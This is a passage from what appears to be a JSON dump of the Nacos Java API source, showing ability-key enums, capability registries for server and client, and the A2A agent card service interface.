    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability;\n\nimport com.alibaba.nacos.api.config.ability.ServerConfigAbility;\nimport com.alibaba.nacos.api.naming.ability.ServerNamingAbility;\nimport com.alibaba.nacos.api.remote.ability.ServerRemoteAbility;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * abilities of nacos server.\n *\n * @author liuzunfei\n * @version $Id: ServerAbilities.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\n@Deprecated\npublic class ServerAbilities implements Serializable {\n    \n    private static final long serialVersionUID = -2120543002911304171L;\n    \n    private ServerRemoteAbility remoteAbility = new ServerRemoteAbility();\n    \n    private ServerConfigAbility configAbility = new ServerConfigAbility();\n    \n    private ServerNamingAbility namingAbility = new ServerNamingAbility();\n    \n    public ServerRemoteAbility getRemoteAbility() {\n        return remoteAbility;\n    }\n    \n    public void setRemoteAbility(ServerRemoteAbility remoteAbility) {\n        this.remoteAbility = remoteAbility;\n    }\n    \n    public ServerConfigAbility getConfigAbility() {\n        return configAbility;\n    }\n    \n    public void setConfigAbility(ServerConfigAbility configAbility) {\n        this.configAbility = configAbility;\n    }\n    \n    public ServerNamingAbility getNamingAbility() {\n        return namingAbility;\n    }\n    \n    public void setNamingAbility(ServerNamingAbility namingAbility) {\n        this.namingAbility = namingAbility;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ServerAbilities that = (ServerAbilities) o;\n        return Objects.equals(remoteAbility, that.remoteAbility) && Objects.equals(configAbility, that.configAbility)\n                && Objects.equals(namingAbility, that.namingAbility);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(remoteAbility, configAbility, namingAbility);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/constant/AbilityKey.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.constant;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * Ability key constant. It is used to constrain the ability key.<br/>\n * <strong>Ensure that return value of {@link AbilityKey#getName()} is unique under one specify {@link AbilityMode}</strong>.\n *\n * @author Daydreamer\n * @date 2022/8/31 12:27\n **/\npublic enum AbilityKey {\n    \n    /**\n     * Server support register or deregister persistent instance by grpc.\n     */\n    SERVER_PERSISTENT_INSTANCE_BY_GRPC(\"supportPersistentInstanceByGrpc\", \"support persistent instance by grpc\",\n            AbilityMode.SERVER),\n    \n    /**\n     * For fuzzy watch naming or config.\n     */\n    SERVER_FUZZY_WATCH(\"fuzzyWatch\", \"Server whether support fuzzy watch service or config\", AbilityMode.SERVER),\n    \n    /**\n     * For Distributed Lock.\n     */\n    SERVER_DISTRIBUTED_LOCK(\"lock\", \"Server whether support distributed lock\", AbilityMode.SERVER),\n    \n    /**\n     * For AI module MCP registry.\n     */\n    SERVER_MCP_REGISTRY(\"mcp\", \"Server whether support release mcp server and register endpoint for mcp server\",\n            AbilityMode.SERVER),\n    \n    /**\n     * For AI module Agent & Agent Card registry.\n     */\n    SERVER_AGENT_REGISTRY(\"agent\", \"Server whether support release agent server and register endpoint for agent server\",\n            AbilityMode.SERVER),\n    \n    /**\n     * For fuzzy watch naming or config.\n     */\n    SDK_CLIENT_FUZZY_WATCH(\"fuzzyWatch\", \"Client whether support fuzzy watch service or config\",\n            AbilityMode.SDK_CLIENT),\n    \n    /**\n     * For Distributed Lock.\n     */\n    SDK_CLIENT_DISTRIBUTED_LOCK(\"lock\", \"Client whether support distributed lock\", AbilityMode.SDK_CLIENT),\n    \n    /**\n     * For AI module MCP registry.\n     */\n    SDK_MCP_REGISTRY(\"mcp\", \"Client whether support release mcp server and register endpoint for mcp server\",\n            AbilityMode.SDK_CLIENT),\n    \n    /**\n     * For AI module Agent & Agent Card registry.\n     */\n    SDK_AGENT_REGISTRY(\"agent\", \"Client whether support release agent server and register endpoint for agent server\",\n            AbilityMode.SDK_CLIENT),\n    \n    /**\n     * For Test temporarily.\n     */\n    CLUSTER_CLIENT_TEST_1(\"test_1\", \"just for junit test\", AbilityMode.CLUSTER_CLIENT);\n    \n    /**\n     * the name of a certain ability.\n     */\n    private final String keyName;\n    \n    /**\n     * description or comment about this ability.\n     */\n    private final String description;\n    \n    /**\n     * ability mode, which endpoint hold this ability.\n     */\n    private final AbilityMode mode;\n    \n    AbilityKey(String keyName, String description, AbilityMode mode) {\n        this.keyName = keyName;\n        this.description = description;\n        this.mode = mode;\n    }\n    \n    public String getName() {\n        return keyName;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public AbilityMode getMode() {\n        return mode;\n    }\n    \n    /**\n     * All key set.\n     */\n    private static final Map<AbilityMode, Map<String, AbilityKey>> ALL_ABILITIES = new HashMap<>();\n    \n    /**\n     * Get all keys.\n     *\n     * @return all keys\n     */\n    public static Collection<AbilityKey> getAllValues(AbilityMode mode) {\n        return Collections.unmodifiableCollection(ALL_ABILITIES.get(mode).values());\n    }\n    \n    /**\n     * Get all names.\n     *\n     * @return all names\n     */\n    public static Collection<String> getAllNames(AbilityMode mode) {\n        return Collections.unmodifiableCollection(ALL_ABILITIES.get(mode).keySet());\n    }\n    \n    /**\n     * Whether contains this name.\n     *\n     * @param name key name\n     * @return whether contains\n     */\n    public static boolean isLegalKey(AbilityMode mode, String name) {\n        return ALL_ABILITIES.get(mode).containsKey(name);\n    }\n    \n    /**\n     * Map the string key to enum.\n     *\n     * @param abilities map\n     * @return enum map\n     */\n    public static Map<AbilityKey, Boolean> mapEnum(AbilityMode mode, Map<String, Boolean> abilities) {\n        if (abilities == null || abilities.isEmpty()) {\n            return Collections.emptyMap();\n        }\n        return abilities.entrySet().stream().filter(entry -> isLegalKey(mode, entry.getKey()))\n                .collect(Collectors.toMap((entry) -> getEnum(mode, entry.getKey()), Map.Entry::getValue));\n    }\n    \n    /**.\n     * Map the string key to enum\n     *\n     * @param abilities map\n     * @return enum map\n     */\n    public static Map<String, Boolean> mapStr(Map<AbilityKey, Boolean> abilities) {\n        if (abilities == null || abilities.isEmpty()) {\n            return Collections.emptyMap();\n        }\n        return abilities.entrySet().stream()\n                .collect(Collectors.toMap((entry) -> entry.getKey().getName(), Map.Entry::getValue));\n    }\n    \n    /**.\n     * getter to obtain enum\n     *\n     * @param key string key\n     * @return enum\n     */\n    public static AbilityKey getEnum(AbilityMode mode, String key) {\n        return ALL_ABILITIES.get(mode).get(key);\n    }\n    \n    static {\n        // check for developer\n        // ensure that name filed is unique under a AbilityMode\n        try {\n            for (AbilityKey value : AbilityKey.values()) {\n                AbilityMode mode = value.getMode();\n                Map<String, AbilityKey> map = ALL_ABILITIES.getOrDefault(mode, new HashMap<>());\n                AbilityKey previous = map.putIfAbsent(value.getName(), value);\n                if (previous != null) {\n                    throw new IllegalStateException(\n                            \"Duplicate key name field \" + value + \" and \" + previous + \" under mode: \" + mode);\n                }\n                ALL_ABILITIES.put(mode, map);\n            }\n        } catch (Throwable t) {\n            // for developer checking\n            t.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/constant/AbilityMode.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.constant;\n\n/**\n * Ability mode.\n *\n * @author Daydreamer\n * @date 2023/9/25 12:32\n **/\npublic enum AbilityMode {\n\n    /**\n     * for server ability.\n     */\n    SERVER,\n\n    /**\n     * for sdk client.\n     */\n    SDK_CLIENT,\n\n    /**\n     * for cluster client.\n     */\n    CLUSTER_CLIENT;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/constant/AbilityStatus.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.constant;\n\n/**.\n * @author Daydreamer\n * @description It is used to know a certain ability whether supporting.\n * @date 2022/8/31 12:27\n **/\npublic enum  AbilityStatus {\n    \n    /**.\n     * Support a certain ability\n     */\n    SUPPORTED,\n    \n    /**.\n     * Not support a certain ability\n     */\n    NOT_SUPPORTED,\n    \n    /**.\n     * Cannot find ability table, unknown\n     */\n    UNKNOWN\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/initializer/AbilityInitializer.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.initializer;\n\n/**\n * Nacos ability initializer.\n *\n * @author xiweng.yy\n */\n@Deprecated\npublic interface AbilityInitializer<A> {\n    \n    /**\n     * Initialize target type abilities content.\n     *\n     * @param abilities abilities\n     */\n    void initialize(A abilities);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/initializer/AbilityPostProcessor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.initializer;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\n\nimport java.util.Map;\n\n/**\n * Nacos ability post processor, load by spi.\n *\n * @author Daydreamer-ia\n */\npublic interface AbilityPostProcessor {\n\n\n    /**\n     * process before loading by <code>Ability Controller </code>.\n     *\n     * @param mode      mode: sdk client, server or cluster client\n     * @param abilities abilities\n     */\n    void process(AbilityMode mode, Map<AbilityKey, Boolean> abilities);\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/register/AbstractAbilityRegistry.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**.\n * @author Daydreamer\n * @description Operation for bit table.\n * @date 2022/7/12 19:23\n **/\npublic abstract class AbstractAbilityRegistry {\n    \n    protected final Map<AbilityKey, Boolean> supportedAbilities = new HashMap<>();\n    \n    /**.\n     * get static ability current server supports\n     *\n     * @return static ability\n     */\n    public Map<AbilityKey, Boolean> getSupportedAbilities() {\n        return Collections.unmodifiableMap(supportedAbilities);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/register/impl/ClusterClientAbilities.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.register.AbstractAbilityRegistry;\n\nimport java.util.Map;\n\n/**\n * It is used to register cluster client abilities.\n *\n * @author Daydreamer\n **/\npublic class ClusterClientAbilities extends AbstractAbilityRegistry {\n\n    private static final ClusterClientAbilities INSTANCE = new ClusterClientAbilities();\n\n    {\n        /*\n         * example:\n         *   There is a function named \"compression\".\n         *   The key is from <p>AbilityKey</p>, the value is whether turn on.\n         *\n         *   You can add a new public field in <p>AbilityKey</p> like:\n         *       <code>DATA_COMPRESSION(\"compression\", \"description about this ability\")</code>\n         *\n         *   And then you need to declare whether turn on in the ability table, you can:\n         *       <code>supportedAbilities.put(AbilityKey.DATA_COMPRESSION, true);</code> means that current client support compression.\n         *\n         */\n        // put ability here, which you want current client supports\n    }\n\n    /**\n     * get static ability current cluster client supports.\n     *\n     * @return static ability\n     */\n    public static Map<AbilityKey, Boolean> getStaticAbilities() {\n        return INSTANCE.getSupportedAbilities();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/register/impl/SdkClientAbilities.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.register.AbstractAbilityRegistry;\n\nimport java.util.Map;\n\n/**\n * It is used to register client abilities.\n *\n * @author Daydreamer\n * @date 2022/8/31 12:32\n **/\npublic class SdkClientAbilities extends AbstractAbilityRegistry {\n    \n    private static final SdkClientAbilities INSTANCE = new SdkClientAbilities();\n    \n    {\n        /*\n         * example:\n         *   There is a function named \"compression\".\n         *   The key is from <p>AbilityKey</p>, the value is whether turn on.\n         *\n         *   You can add a new public field in <p>AbilityKey</p> like:\n         *       <code>DATA_COMPRESSION(\"compression\", \"description about this ability\")</code>\n         *\n         *   And then you need to declare whether turn on in the ability table, you can:\n         *       <code>supportedAbilities.put(AbilityKey.DATA_COMPRESSION, true);</code> means that current client support compression.\n         *\n         */\n        // put ability here, which you want current client supports\n        supportedAbilities.put(AbilityKey.SDK_CLIENT_FUZZY_WATCH, true);\n        supportedAbilities.put(AbilityKey.SDK_CLIENT_DISTRIBUTED_LOCK, true);\n        supportedAbilities.put(AbilityKey.SDK_MCP_REGISTRY, true);\n        supportedAbilities.put(AbilityKey.SDK_AGENT_REGISTRY, true);\n    }\n    \n    /**.\n     * get static ability current server supports\n     *\n     * @return static ability\n     */\n    public static Map<AbilityKey, Boolean> getStaticAbilities() {\n        return INSTANCE.getSupportedAbilities();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/register/impl/ServerAbilities.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.register.AbstractAbilityRegistry;\n\nimport java.util.Map;\n\n/**\n * It is used to register server abilities.\n *\n * @author Daydreamer\n * @date 2022/8/31 12:32\n **/\npublic class ServerAbilities extends AbstractAbilityRegistry {\n    \n    private static final ServerAbilities INSTANCE = new ServerAbilities();\n    \n    {\n        /*\n         * example:\n         *   There is a function named \"compression\".\n         *   The key is from <p>AbilityKey</p>, the value is whether turn on.\n         *\n         *   You can add a new public field in <p>AbilityKey</p> like:\n         *       <code>DATA_COMPRESSION(\"compression\", \"description about this ability\")</code>\n         *\n         *   And then you need to declare whether turn on in the ability table, you can:\n         *       <code>supportedAbilities.put(AbilityKey.DATA_COMPRESSION, true);</code> means that current client support compression.\n         *\n         */\n        // put ability here, which you want current server supports\n        supportedAbilities.put(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC, true);\n        supportedAbilities.put(AbilityKey.SERVER_FUZZY_WATCH, true);\n        supportedAbilities.put(AbilityKey.SERVER_DISTRIBUTED_LOCK, true);\n        supportedAbilities.put(AbilityKey.SERVER_MCP_REGISTRY, true);\n        supportedAbilities.put(AbilityKey.SERVER_AGENT_REGISTRY, true);\n    }\n    \n    /**.\n     * get static ability current server supports\n     *\n     * @return static ability\n     */\n    public static Map<AbilityKey, Boolean> getStaticAbilities() {\n        return INSTANCE.getSupportedAbilities();\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/A2aService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosAgentCardListener;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.Collection;\n\n/**\n * Nacos AI A2A client service interface.\n *\n * @author xiweng.yy\n */\npublic interface A2aService {\n    \n    /**\n     * Get agent card with nacos extension detail with latest version.\n     *\n     * @param agentName name of agent card\n     * @return agent card with nacos extension detail\n     * @throws NacosException if request parameter is invalid or agent card not found or handle error\n     */\n    default AgentCardDetailInfo getAgentCard(String agentName) throws NacosException {\n        return getAgentCard(agentName, StringUtils.EMPTY);\n    }\n    \n    /**\n     * Get agent card with nacos extension detail with target version.\n     *\n     * @param agentName name of agent card\n     * @param version   target version, if null or empty, get latest version\n     * @return agent card with nacos extension detail\n     * @throws NacosException if request parameter is invalid or agent card not found or handle error\n     */\n    default AgentCardDetailInfo getAgentCard(String agentName, String version) throws NacosException {\n        return getAgentCard(agentName, version, StringUtils.EMPTY);\n    }\n    \n    /**\n     * Get agent card with nacos extension detail with target version.\n     *\n     * @param agentName        name of agent card\n     * @param version          target version, if null or empty, get latest version\n     * @param registrationType {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_URL} or\n     *                         {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_SERVICE} default is empty, means use agent card\n     *                         setting in nacos.\n     * @return agent card with nacos extension detail\n     * @throws NacosException if request parameter is invalid or agent card not found or handle error\n     */\n    AgentCardDetailInfo getAgentCard(String agentName, String version, String registrationType) throws NacosException;\n    \n    /**\n     * Release new agent card or new version with default service type endpoint.\n     *\n     * <p>\n     * If current agent card and version exist, This API will do nothing. If current agent card exist but version not\n     * exist, This API will release new version. If current t agent card not exist, This API will release new agent\n     * card.\n     * </p>\n     *\n     * @param agentCard agent card need to release\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default void releaseAgentCard(AgentCard agentCard) throws NacosException {\n        releaseAgentCard(agentCard, AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE);\n    }\n    \n    /**\n     * Release new agent card or new version.\n     *\n     * <p>\n     * If current agent card and version exist, This API will do nothing. If current agent card exist but version not\n     * exist, This API will release new version. If current t agent card not exist, This API will release new agent\n     * card.\n     * </p>\n     *\n     * @param agentCard        agent card need to release\n     * @param registrationType {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_URL} or\n     *                         {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_SERVICE}\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default void releaseAgentCard(AgentCard agentCard, String registrationType) throws NacosException {\n        releaseAgentCard(agentCard, registrationType, false);\n    }\n    \n    /**\n     * Release new agent card or new version.\n     *\n     * <p>\n     * If current agent card and version exist, This API will do nothing. If current agent card exist but version not\n     * exist, This API will release new version. If current t agent card not exist, This API will release new agent\n     * card.\n     * </p>\n     *\n     * @param agentCard        agent card need to release\n     * @param registrationType {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_URL} or\n     *                         {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_SERVICE}\n     * @param setAsLatest      whether set new version as latest, default is false. This parameter is only effect when\n     *                         new version is released. If current agent card not exist, whatever this parameter is, it\n     *                         will be set as latest.\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void releaseAgentCard(AgentCard agentCard, String registrationType, boolean setAsLatest) throws NacosException;\n    \n    /**\n     * Register endpoint to agent card.\n     *\n     * @param agentName name of agent\n     * @param version   version of this endpoint\n     * @param address   address for this endpoint\n     * @param port      port of this endpoint\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    default void registerAgentEndpoint(String agentName, String version, String address, int port)\n            throws NacosException {\n        registerAgentEndpoint(agentName, version, address, port, AiConstants.A2a.A2A_ENDPOINT_DEFAULT_TRANSPORT);\n    }\n    \n    /**\n     * Register endpoint to agent card.\n     *\n     * @param agentName name of agent\n     * @param version   version of this endpoint\n     * @param address   address for this endpoint\n     * @param port      port of this endpoint\n     * @param transport supported transport, according to A2A protocol, it should be `JSONRPC`, `GRPC` and `HTTP+JSON`\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    default void registerAgentEndpoint(String agentName, String version, String address, int port, String transport)\n            throws NacosException {\n        registerAgentEndpoint(agentName, version, address, port, transport, StringUtils.EMPTY);\n    }\n    \n    /**\n     * Register endpoint to agent card.\n     *\n     * @param agentName name of agent\n     * @param version   version of this endpoint\n     * @param address   address for this endpoint\n     * @param port      port of this endpoint\n     * @param transport supported transport, according to A2A protocol, it should be `JSONRPC`, `GRPC` and `HTTP+JSON`\n     * @param path      The path of endpoint request\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    default void registerAgentEndpoint(String agentName, String version, String address, int port, String transport,\n            String path) throws NacosException {\n        registerAgentEndpoint(agentName, version, address, port, transport, path, false);\n    }\n    \n    /**\n     * Register endpoint to agent card.\n     *\n     * @param agentName  name of agent\n     * @param version    version of this endpoint\n     * @param address    address for this endpoint\n     * @param port       port of this endpoint\n     * @param transport  supported transport, according to A2A protocol, it should be `JSONRPC`, `GRPC` and `HTTP+JSON`\n     * @param path       The path of endpoint request\n     * @param supportTls whether support tls\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    default void registerAgentEndpoint(String agentName, String version, String address, int port, String transport,\n            String path, boolean supportTls) throws NacosException {\n        AgentEndpoint agentEndpoint = new AgentEndpoint();\n        agentEndpoint.setAddress(address);\n        agentEndpoint.setPort(port);\n        agentEndpoint.setTransport(transport);\n        agentEndpoint.setPath(path);\n        agentEndpoint.setSupportTls(supportTls);\n        agentEndpoint.setVersion(version);\n        registerAgentEndpoint(agentName, agentEndpoint);\n    }\n    \n    /**\n     * Register endpoint to agent card.\n     *\n     * @param agentName name of agent\n     * @param endpoint  endpoint info\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    void registerAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException;\n    \n    /**\n     * Batch register endpoints to agent card.\n     *\n     * <p>\n     * Conflict with {@link #registerAgentEndpoint(String, AgentEndpoint)}, this API will overwrite all endpoint\n     * registered by {@link #registerAgentEndpoint(String, AgentEndpoint)}.\n     * </p>\n     *\n     * @param agentName name of agent\n     * @param endpoints collection of endpoints\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     * @since 3.1.1\n     */\n    void registerAgentEndpoint(String agentName, Collection<AgentEndpoint> endpoints) throws NacosException;\n    \n    /**\n     * Deregister endpoint from agent card which registered by this client.\n     *\n     * <p>\n     * Only endpoint registered by this client can be deregistered. Other endpoint registered by other clients, call\n     * this API will no any effect.\n     * </p>\n     *\n     * @param agentName name of agent\n     * @param version   version of this endpoint\n     * @param address   address for this endpoint\n     * @param port      port of this endpoint\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    default void deregisterAgentEndpoint(String agentName, String version, String address, int port)\n            throws NacosException {\n        AgentEndpoint agentEndpoint = new AgentEndpoint();\n        agentEndpoint.setAddress(address);\n        agentEndpoint.setPort(port);\n        agentEndpoint.setVersion(version);\n        deregisterAgentEndpoint(agentName, agentEndpoint);\n    }\n    \n    /**\n     * Deregister endpoint from agent card which registered by this client.\n     *\n     * <p>\n     * Only endpoint registered by this client can be deregistered. Other endpoint registered by other clients, call\n     * this API will no any effect.\n     * </p>\n     *\n     * @param agentName name of agent\n     * @param endpoint  endpoint info\n     * @throws NacosException if request parameter is invalid or handle error or agent not found\n     */\n    void deregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException;\n    \n    /**\n     * Subscribe agent card.\n     *\n     * @param agentName         name of agent\n     * @param agentCardListener the callback listener for agent card\n     * @return current agent card when subscribe success\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default AgentCardDetailInfo subscribeAgentCard(String agentName, AbstractNacosAgentCardListener agentCardListener)\n            throws NacosException {\n        return subscribeAgentCard(agentName, StringUtils.EMPTY, agentCardListener);\n    }\n    \n    /**\n     * Subscribe agent card.\n     *\n     * @param agentName         name of agent\n     * @param version           version of agent, if empty or null, means subscribe latest version\n     * @param agentCardListener the callback listener for agent card\n     * @return current agent card when subscribe success, nullable if agent card not found\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    AgentCardDetailInfo subscribeAgentCard(String agentName, String version,\n            AbstractNacosAgentCardListener agentCardListener) throws NacosException;\n    \n    /**\n     * Unsubscribe agent card.\n     *\n     * @param agentName         name of agent\n     * @param agentCardListener the callback listener for agent card\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default void unsubscribeAgentCard(String agentName, AbstractNacosAgentCardListener agentCardListener)\n            throws NacosException {\n        unsubscribeAgentCard(agentName, StringUtils.EMPTY, agentCardListener);\n    }\n    \n    /**\n     * Unsubscribe agent card.\n     *\n     * @param agentName         name of agent\n     * @param version           version of agent, if empty or null, means unsubscribe latest version\n     * @param agentCardListener the callback listener for agent card\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void unsubscribeAgentCard(String agentName, String version, AbstractNacosAgentCardListener agentCardListener)\n            throws NacosException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/AiFactory.java",
